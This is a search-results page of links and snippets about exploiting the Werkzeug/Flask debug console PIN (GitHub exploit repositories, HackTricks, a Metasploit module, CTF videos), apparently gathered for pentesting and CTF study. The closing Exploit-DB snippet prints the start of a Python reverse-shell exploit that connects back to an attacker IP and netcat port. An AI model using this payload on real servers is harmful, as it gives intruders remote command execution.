GitHub
github.com › wdahlenburg › werkzeug-debug-console-bypass
GitHub - wdahlenburg/werkzeug-debug-console-bypass: Werkzeug has a debug console that requires a pin. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. · GitHub
Werkzeug has a debug console that requires a pin. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. - wdahlenburg/werkzeug-debug-console-bypass
Starred by 66 users
Forked by 8 users
Languages Python 85.8% | Dockerfile 14.2%
GitHub
github.com › grav3m1nd-byte › werkzeug-pin
GitHub - grav3m1nd-byte/werkzeug-pin: Yet another Werkzeug Console Pin Exploit Explanation · GitHub
As explained by Carlos Polop in Hacktricks.xyz, this exploit is to access /console from Werkzeug when it requires a pin.
Author grav3m1nd-byte
20:59
Reassembling Werkzeug's Pin - Getting RCE in HackTheBox Agile [Part ...
19:10
Reassembling Werkzeug's Pin - Hacking Flask Debug Mode [Part 1] ...
Werkzeug PIN exploit - TryHackMe's OWASP Top 10 2021
37:21
DANGEROUS Python Flask Debug Mode Vulnerabilities - YouTube
15:27
Workerbee Walkthrough (Werkzeug Debug Pin generation) - YouTube
01:26:38
HackTheBox - Ellingson - YouTube
GitHub
github.com › vignesh21-git › werkzeug_debug_bypass_POC
GitHub - vignesh21-git/werkzeug_debug_bypass_POC: Werkzeug Console PIN Exploit · GitHub
By exploiting the path traversal vulnerability and gathering system information, we successfully generate the debug pin required to access the Werkzeug debugger console remotely.
Author vignesh21-git
HackTricks
book.hacktricks.xyz › home › network services pentesting › pentesting web › werkzeug
Werkzeug / Flask Debug - HackTricks
2 days ago - GitHub - Ruulian/wconsole_extractor: WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode. You just have to write a python function that leaks a file content and you have your shell ...
GitHub
github.com › grav3m1nd-byte › werkzeug-pin › blob › main › README.md
werkzeug-pin/README.md at main · grav3m1nd-byte/werkzeug-pin
As explained by Carlos Polop in Hacktricks.xyz, this exploit is to access /console from Werkzeug when it requires a pin.
Author grav3m1nd-byte
GitHub
github.com › wdahlenburg › werkzeug-debug-console-bypass › blob › main › app.py
werkzeug-debug-console-bypass/app.py at main · wdahlenburg/werkzeug-debug-console-bypass
Werkzeug has a debug console that requires a pin. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. - wdahlenburg/werkzeug-debug-console-b...
Author wdahlenburg
GitHub
github.com › wdahlenburg › werkzeug-debug-console-bypass › blob › main › server.py
werkzeug-debug-console-bypass/server.py at main · wdahlenburg/werkzeug-debug-console-bypass
Werkzeug has a debug console that requires a pin. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. - wdahlenburg/werkzeug-debug-conso...
Author wdahlenburg
GitHub
github.com › wdahlenburg › werkzeug-debug-console-bypass › blob › main › werkzeug-pin-bypass.py
werkzeug-debug-console-bypass/werkzeug-pin-bypass.py at main · wdahlenburg/werkzeug-debug-console-bypass
It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. - werkzeug-debug-console-bypass/werkzeug-pin-bypass.py at main · wdahlenburg/werkzeug-debug-console-bypass
Author wdahlenburg
GitHub
github.com › am0nsec › exploit › blob › master › python › werkzeug-debug-console › exploit.py
exploit/python/werkzeug-debug-console/exploit.py at master · am0nsec/exploit
print(info_message('Searching for the Werkzeug console ...')) · url = 'http://ptl-e7e6b59c-ecd77b90.libcurl.so/console' resp = requests.get(url) if resp.status_code != 200: print(error_message('Ouups something goes wrong')) sys.exit(1) ·
Author am0nsec
GitHub
github.com › its-arun › Werkzeug-Debug-RCE
GitHub - its-arun/Werkzeug-Debug-RCE: Python script for exploiting Werkzeug Debug RCE useful for CTF · GitHub
Python script for exploiting Werkzeug Debug RCE useful for CTFs where you just need to read a particular file or execute some command.
Author its-arun
GitHub
github.com › rapid7 › metasploit-framework › blob › master › modules › exploits › multi › http › werkzeug_debug_rce.rb
metasploit-framework/modules/exploits/multi/http/werkzeug_debug_rce.rb at master · rapid7/metasploit-framework
OptString.new('TARGETURI', [true, 'URI to the console or debugger', '/console']), ... "application developer, in which case generating the pin won't work, but if you" \ 'have path traversal, you may be able to retrieve this pin by reading the ' \ 'application source code, or, on Linux by reading /proc/self/environ to obtain ' \ 'the value of the WERKZEUG_DEBUG_PIN environment variable', nil
Author rapid7
GitHub
github.com › StillNoob › Werkzeug-Console-PIN-Cracker
GitHub - StillNoob/Werkzeug-Console-PIN-Cracker: Generates all possible PIN combinations! · GitHub
Generates all possible PIN combinations! Contribute to StillNoob/Werkzeug-Console-PIN-Cracker development by creating an account on GitHub.
Author StillNoob
GitHub
github.com › rapid7 › metasploit-framework › blob › master › documentation › modules › exploit › multi › http › werkzeug_debug_rce.md
metasploit-framework/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md at master · rapid7/metasploit-framework
It may be necessary to set this ... before the request is passed to the application. Determines which algorithm the exploit module will use to generate a pin and cookie....
Author rapid7
GitHub
github.com › pallets › werkzeug › blob › main › src › werkzeug › debug › __init__.py
werkzeug/src/werkzeug/debug/__init__.py at main · pallets/werkzeug
_pin_cookie: str · · def __init__( self, app: WSGIApplication, evalex: bool = False, request_key: str = "werkzeug.request", console_path: str = "/console", console_init_func: t.Callable[[], dict[str, t.Any]] | None = None, show_hidden_frames: bool = False, pin_security: bool = True, pin_logging: bool = True, ) -> None: if not console_init_func: console_init_func = None ·
Author pallets
Exploit-DB
exploit-db.com › exploits › 43905
Werkzeug - 'Debug Shell' Command Execution - Multiple remote Exploit
January 28, 2018 - #!/usr/bin/env python import requests import sys import re import urllib # usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 if len(sys.argv) != 5: print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]) sys.exit(-1) response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2])) if "Werkzeug " not in response.text: print "[-] Debug is not enabled" sys.exit(-1) # since the application or debugger about python using python for reverse connect cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%